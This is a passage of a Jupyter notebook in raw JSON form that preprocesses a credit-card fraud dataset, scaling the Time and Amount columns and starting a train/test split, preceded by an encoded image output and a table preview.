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0-0.994983-1.359807-0.0727812.5363471.378155-0.3383210.4623880.2395990.0986980.363787...-0.0183070.277838-0.1104740.0669280.128539-0.1891150.133558-0.0210531.7832740
1-0.9949831.1918570.2661510.1664800.4481540.060018-0.082361-0.0788030.085102-0.255425...-0.225775-0.6386720.101288-0.3398460.1671700.125895-0.0089830.014724-0.2698250
2-0.994972-1.358354-1.3401631.7732090.379780-0.5031981.8004990.7914610.247676-1.514654...0.2479980.7716790.909412-0.689281-0.327642-0.139097-0.055353-0.0597524.9837210
3-0.994972-0.966272-0.1852261.792993-0.863291-0.0103091.2472030.2376090.377436-1.387024...-0.1083000.005274-0.190321-1.1755750.647376-0.2219290.0627230.0614581.4182910
4-0.994960-1.1582330.8777371.5487180.403034-0.4071930.0959210.592941-0.2705330.817739...-0.0094310.798278-0.1374580.141267-0.2060100.5022920.2194220.2151530.6705790
2848021.034951-11.88111810.071785-9.834783-2.066656-5.364473-2.606837-4.9182157.3053341.914428...0.2134540.1118641.014480-0.5093481.4368070.2500340.9436510.823731-0.2966530
2848031.034963-0.732789-0.0550802.035030-0.7385890.8682291.0584150.0243300.2948690.584800...0.2142050.9243840.012463-1.016226-0.606624-0.3952550.068472-0.0535270.0389860
2848041.0349751.919565-0.301254-3.249640-0.5578282.6305153.031260-0.2968270.7084170.432454...0.2320450.578229-0.0375010.6401340.265745-0.0873710.004455-0.0265610.6410960
2848051.034975-0.2404400.5304830.7025100.689799-0.3779610.623708-0.6861800.6791450.392087...0.2652450.800049-0.1632980.123205-0.5691590.5466680.1088210.104533-0.1676800
2848061.035022-0.533413-0.1897330.703337-0.506271-0.012546-0.6496171.577006-0.4146500.486180...0.2610570.6430780.3767770.008797-0.473649-0.818267-0.0024150.0136492.7247960
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10 rows × 31 columns

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" + ], + "text/plain": [ + " Time V1 V2 V3 V4 V5 \\\n", + "0 -0.994983 -1.359807 -0.072781 2.536347 1.378155 -0.338321 \n", + "1 -0.994983 1.191857 0.266151 0.166480 0.448154 0.060018 \n", + "2 -0.994972 -1.358354 -1.340163 1.773209 0.379780 -0.503198 \n", + "3 -0.994972 -0.966272 -0.185226 1.792993 -0.863291 -0.010309 \n", + "4 -0.994960 -1.158233 0.877737 1.548718 0.403034 -0.407193 \n", + "284802 1.034951 -11.881118 10.071785 -9.834783 -2.066656 -5.364473 \n", + "284803 1.034963 -0.732789 -0.055080 2.035030 -0.738589 0.868229 \n", + "284804 1.034975 1.919565 -0.301254 -3.249640 -0.557828 2.630515 \n", + "284805 1.034975 -0.240440 0.530483 0.702510 0.689799 -0.377961 \n", + "284806 1.035022 -0.533413 -0.189733 0.703337 -0.506271 -0.012546 \n", + "\n", + " V6 V7 V8 V9 ... V21 V22 \\\n", + "0 0.462388 0.239599 0.098698 0.363787 ... -0.018307 0.277838 \n", + "1 -0.082361 -0.078803 0.085102 -0.255425 ... -0.225775 -0.638672 \n", + "2 1.800499 0.791461 0.247676 -1.514654 ... 0.247998 0.771679 \n", + "3 1.247203 0.237609 0.377436 -1.387024 ... -0.108300 0.005274 \n", + "4 0.095921 0.592941 -0.270533 0.817739 ... -0.009431 0.798278 \n", + "284802 -2.606837 -4.918215 7.305334 1.914428 ... 0.213454 0.111864 \n", + "284803 1.058415 0.024330 0.294869 0.584800 ... 0.214205 0.924384 \n", + "284804 3.031260 -0.296827 0.708417 0.432454 ... 0.232045 0.578229 \n", + "284805 0.623708 -0.686180 0.679145 0.392087 ... 0.265245 0.800049 \n", + "284806 -0.649617 1.577006 -0.414650 0.486180 ... 0.261057 0.643078 \n", + "\n", + " V23 V24 V25 V26 V27 V28 Amount \\\n", + "0 -0.110474 0.066928 0.128539 -0.189115 0.133558 -0.021053 1.783274 \n", + "1 0.101288 -0.339846 0.167170 0.125895 -0.008983 0.014724 -0.269825 \n", + "2 0.909412 -0.689281 -0.327642 -0.139097 -0.055353 -0.059752 4.983721 \n", + "3 -0.190321 -1.175575 0.647376 -0.221929 0.062723 0.061458 1.418291 \n", + "4 -0.137458 0.141267 -0.206010 0.502292 0.219422 0.215153 0.670579 \n", + "284802 1.014480 -0.509348 1.436807 0.250034 0.943651 0.823731 -0.296653 \n", + "284803 0.012463 -1.016226 -0.606624 -0.395255 0.068472 -0.053527 0.038986 \n", + "284804 -0.037501 0.640134 0.265745 -0.087371 0.004455 -0.026561 0.641096 \n", + "284805 -0.163298 0.123205 -0.569159 0.546668 0.108821 0.104533 -0.167680 \n", + "284806 0.376777 0.008797 -0.473649 -0.818267 -0.002415 0.013649 2.724796 \n", + "\n", + " Class \n", + "0 0 \n", + "1 0 \n", + "2 0 \n", + "3 0 \n", + "4 0 \n", + "284802 0 \n", + "284803 0 \n", + "284804 0 \n", + "284805 0 \n", + "284806 0 \n", + "\n", + "[10 rows x 31 columns]" + ] + }, + "execution_count": 12, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "from sklearn.preprocessing import RobustScaler\n", + "scaler = RobustScaler().fit(dataset[[\"Time\", \"Amount\"]])\n", + "dataset[[\"Time\", \"Amount\"]] = scaler.transform(dataset[[\"Time\", \"Amount\"]])\n", + "\n", + "dataset.head().append(dataset.tail())" + ] + }, + { + "cell_type": "code", + "execution_count": 13, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "((227845, 30), (56962, 30), (227845,), (56962,))" + ] + }, + "execution_count": 13, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Separate response and features Undersampling before cross validation will lead to overfiting\n", + "y = dataset[\"Class\"] # target \n", + "X = dataset.iloc[:,0:30]\n", + "\n", + "# Use SKLEARN for the split\n", + "from sklearn.model_selection import 